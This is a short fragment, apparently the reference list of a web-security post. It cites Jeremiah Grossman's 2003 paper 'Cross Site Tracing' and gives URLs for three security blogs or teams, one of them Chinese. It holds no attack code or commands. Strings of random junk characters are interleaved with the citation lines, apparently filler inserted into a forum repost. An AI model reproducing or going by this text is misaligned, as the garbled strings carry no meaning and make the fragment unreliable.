& j/ `/ r7 U2 |- x* k+ o! p; A" Z7 d. s"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
+ M8 u8 D% c( d空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
) o- r$ o8 c+ k  W